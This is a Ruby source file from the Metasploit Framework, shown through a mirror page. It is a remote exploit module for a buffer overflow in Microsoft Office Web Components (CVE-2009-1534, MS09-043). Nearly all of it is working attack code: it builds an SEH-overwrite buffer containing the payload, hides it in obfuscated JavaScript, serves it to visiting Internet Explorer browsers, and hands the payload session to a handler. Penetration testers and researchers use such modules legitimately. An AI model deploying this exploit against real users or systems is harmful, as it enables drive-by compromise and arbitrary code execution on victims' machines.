mirror of
https://github.com/rapid7/metasploit-framework
synced 2024-10-29 18:07:27 +01:00
190 lines
4.3 KiB
Ruby
190 lines
4.3 KiB
Ruby
##
|
|
# $Id$
|
|
##
|
|
|
|
##
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
# web site for more information on licensing and terms of use.
|
|
# http://metasploit.com/
|
|
##
|
|
|
|
require 'msf/core'
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
Rank = NormalRanking
|
|
|
|
include Msf::Exploit::Remote::HttpServer::HTML
|
|
include Msf::Exploit::Remote::Seh
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'Microsoft OWC Spreadsheet HTMLURL Buffer Overflow',
|
|
'Description' => %q{
|
|
This module exploits a buffer overflow in Microsoft's Office Web Components.
|
|
When passing an overly long string as the "HTMLURL" parameter an attacker can
|
|
execute arbitrary code.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' => [ 'jduck' ],
|
|
'Version' => '$Revision$',
|
|
'References' =>
|
|
[
|
|
[ 'CVE', '2009-1534' ],
|
|
[ 'OSVDB', '56916' ],
|
|
[ 'BID', '35992' ],
|
|
[ 'MSB', 'MS09-043' ],
|
|
[ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=819' ]
|
|
],
|
|
'DefaultOptions' =>
|
|
{
|
|
'EXITFUNC' => 'process',
|
|
'InitialAutoRunScript' => 'migrate -f',
|
|
},
|
|
'Payload' =>
|
|
{
|
|
'Space' => 1024,
|
|
'BadChars' => "\x00\xf0",
|
|
'DisableNops' => true
|
|
},
|
|
'Platform' => 'win',
|
|
'Targets' =>
|
|
[
|
|
# 'ProgId' => "OWC.Spreadsheet.9"
|
|
# 'ClassId' => "0002E512-0000-0000-C000-000000000046",
|
|
|
|
[ 'Windows XP SP3 - IE6 - Office XP SP0',
|
|
{
|
|
'ClassId' => "0002E510-0000-0000-C000-000000000046",
|
|
'Offset' => 31337,
|
|
'Ret' => 0x42424242 # p/p/r in msohev.dll ??
|
|
}
|
|
],
|
|
|
|
[ 'Windows XP SP3 - IE6 - Office XP SP3',
|
|
{
|
|
'ClassId' => "0002E511-0000-0000-C000-000000000046",
|
|
'Offset' => ((4096*7) + 1076),
|
|
'Ret' => 0x32521239 # p/p/r in msohev.dll 10.0.2609.0
|
|
}
|
|
]
|
|
],
|
|
'DisclosureDate' => 'Aug 11 2009',
|
|
'DefaultTarget' => 1))
|
|
|
|
register_options(
|
|
[
|
|
OptString.new('URIPATH', [ true, "The URI to use.", "/" ])
|
|
], self.class)
|
|
end
|
|
|
|
def autofilter
|
|
false
|
|
end
|
|
|
|
def check_dependencies
|
|
use_zlib
|
|
end
|
|
|
|
def big_alnum(num)
|
|
divisor = 2048 + rand(2048)
|
|
pad_pages = num / divisor
|
|
pad_left = num % divisor
|
|
|
|
ret = ''
|
|
ret << rand_text_alphanumeric(divisor) * pad_pages if pad_pages
|
|
ret << rand_text_alphanumeric(pad_left) if pad_left
|
|
ret
|
|
end
|
|
|
|
def on_request_uri(cli, request)
|
|
=begin
|
|
# Only respond to any client twice...
|
|
if (@sent[cli.peerhost] > 1)
|
|
send_not_found(cli)
|
|
return
|
|
end
|
|
@sent[cli.peerhost] += 1
|
|
=end
|
|
|
|
# Re-generate the payload.
|
|
return if ((p = regenerate_payload(cli)) == nil)
|
|
|
|
# ActiveX parameter(s)
|
|
clsid = target['ClassId']
|
|
|
|
# Exploitation parameter(s)
|
|
seh_offset = target['Offset']
|
|
|
|
# Build the buffer.
|
|
string = big_alnum(seh_offset)
|
|
string << generate_seh_record(target.ret)
|
|
string << payload.encoded
|
|
string << big_alnum(40960 - string.length)
|
|
string = Rex::Text.to_unescape(string)
|
|
|
|
# Randomize the object and function names
|
|
objid = rand_text_alpha(8+rand(8))
|
|
fnname = rand_text_alpha(8+rand(8))
|
|
|
|
# Build the final JavaScript
|
|
js = %Q|
|
|
function #{fnname}()
|
|
{
|
|
var ver1 = -1;
|
|
var ver3 = -1;
|
|
try {
|
|
ver3 = #{objid}.Version.split('.')[3];
|
|
ver3 = parseInt(ver3);
|
|
ver1 = #{objid}.Version.split('.')[0];
|
|
ver1 = parseInt(ver1);
|
|
} catch (e) { }
|
|
if (ver1 == 9 && ver3 <= 8966)
|
|
{
|
|
history.go(0);
|
|
#{objid}.HTMLURL = unescape('#{string}');
|
|
}
|
|
}
|
|
|
|
|
|
|
# Obfuscate the javascript
|
|
opts = {
|
|
'Strings' => false, # way too slow to obfuscate this monster
|
|
'Symbols' => {
|
|
'Variables' => %w{ long ver1 ver3 },
|
|
}
|
|
}
|
|
js = ::Rex::Exploitation::ObfuscateJS.new(js, opts)
|
|
js.obfuscate()
|
|
#<body onload="history.go(0); #{fnname}()">
|
|
|
|
# Build the final HTML
|
|
content = %Q|<html>
|
|
<head>
|
|
<script language=javascript>
|
|
#{js}
|
|
</script>
|
|
</head>
|
|
<body onload="#{fnname}()">
|
|
<object classid="clsid:#{clsid}" id="#{objid}">
|
|
</object>
|
|
</body>
|
|
</html>
|
|
|
|
|
|
|
print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
|
|
|
|
# Transmit the response to the client
|
|
send_response_html(cli, content,
|
|
{
|
|
# The vuln requires that this be the same on both requests.
|
|
'Last-Modified' => 'Tue, 11 Aug 2009 07:13:49 GMT',
|
|
})
|
|
|
|
# Handle the payload
|
|
handler(cli)
|
|
end
|
|
|
|
|
|
end
|